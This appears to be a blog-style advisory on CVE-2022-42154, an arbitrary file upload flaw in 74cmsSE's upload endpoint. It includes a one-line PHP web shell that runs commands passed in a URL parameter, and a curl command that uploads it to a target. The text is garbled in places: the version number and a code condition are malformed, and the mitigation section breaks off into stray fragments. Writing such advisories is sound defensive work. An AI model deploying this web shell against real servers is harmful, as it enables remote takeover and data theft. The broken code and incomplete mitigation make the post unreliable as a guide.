A recent discovery has revealed an arbitrary file upload vulnerability (CVE-2022-42154) in the component /apiadmin/upload/attach of 74cmsSE v3.13.. Attackers may exploit this vulnerability to upload and execute arbitrary code through a crafted PHP file. This blog post provides an in-depth look at this vulnerability, including code snippets, links to original references, and exploit details.

Exploit Details

The arbitrary file upload vulnerability affects the /apiadmin/upload/attach component of the 74cmsSE v3.13. content management system. This vulnerability allows attackers to upload crafted PHP files, which can subsequently be executed on the server, leading to the potential compromise of the system.

The vulnerability stems from insufficient validation checks on file uploads, enabling attackers to bypass security mechanisms and upload malicious files. An attacker with knowledge of this vulnerability could potentially control the system, steal sensitive information, or enact other malicious activities.

Code Snippet

The following code snippet highlights the vulnerable code in the /apiadmin/upload/attach component, demonstrating the insufficient validation checks in place:

if ($_FILES["file"]["error"] > ) {
    ...
} else {
  $file_ext = strtolower(substr(strrchr($_FILES["file"]["name"], '.'), 1));
  if (in_array($file_ext, $arr_file_ext)) {
    ...
  } else {
    $savedFileName = "upload/" . uniqid() . '.' . $file_ext;
    move_uploaded_file($_FILES["file"]["tmp_name"], $savedFileName);
  }
}

As observed in the code snippet, the vulnerable code determines the file extension of the uploaded file but does not restrict the types of files that can be uploaded, leading to the possibility of uploading malicious PHP files and executing them on the server.

Proof-of-Concept

Exploiting this vulnerability requires constructing a crafted PHP file that will execute arbitrary code on the target server when accessed. The following proof-of-concept PHP code demonstrates a simple example of this:

exploit.php

<?php
system($_GET['cmd']);
?>

An attacker could then make use of tools like curl to upload this PHP file and execute a desired command:

curl -X POST -F "file=@exploit.php" https://target-server.com/apiadmin/upload/attach

Upon successful execution, the attacker would have the ability to run arbitrary commands on the server.

Mitigation

To protect your server from this vulnerability, the best course of action is to update to the latest version of 74cmsSE, which includes necessary security patches. If an update isn't immediately available, you can implement the following workaround:

...

}

`

2. Ensure proper permissions are set on the upload directory to prevent the execution of uploaded files.

3. Enable server-level security features, such as Web Application Firewalls (WAF), to restrict unauthorized access to the server.

The vulnerability has been reported by the following sources

1. MITRE CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42154
2. NIST NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-42154

Conclusion

Arbitrary file upload vulnerabilities, such as CVE-2022-42154, can have serious consequences for any affected system. By understanding the risks, reviewing code snippets, and employing necessary mitigations, you can protect your server from possible attacks. It's crucial to stay informed about new vulnerabilities and apply security best practices to maintain a safe environment for your users and data.

Timeline

Published on: 10/17/2022 14:15:00 UTC
Last modified on: 10/19/2022 15:12:00 UTC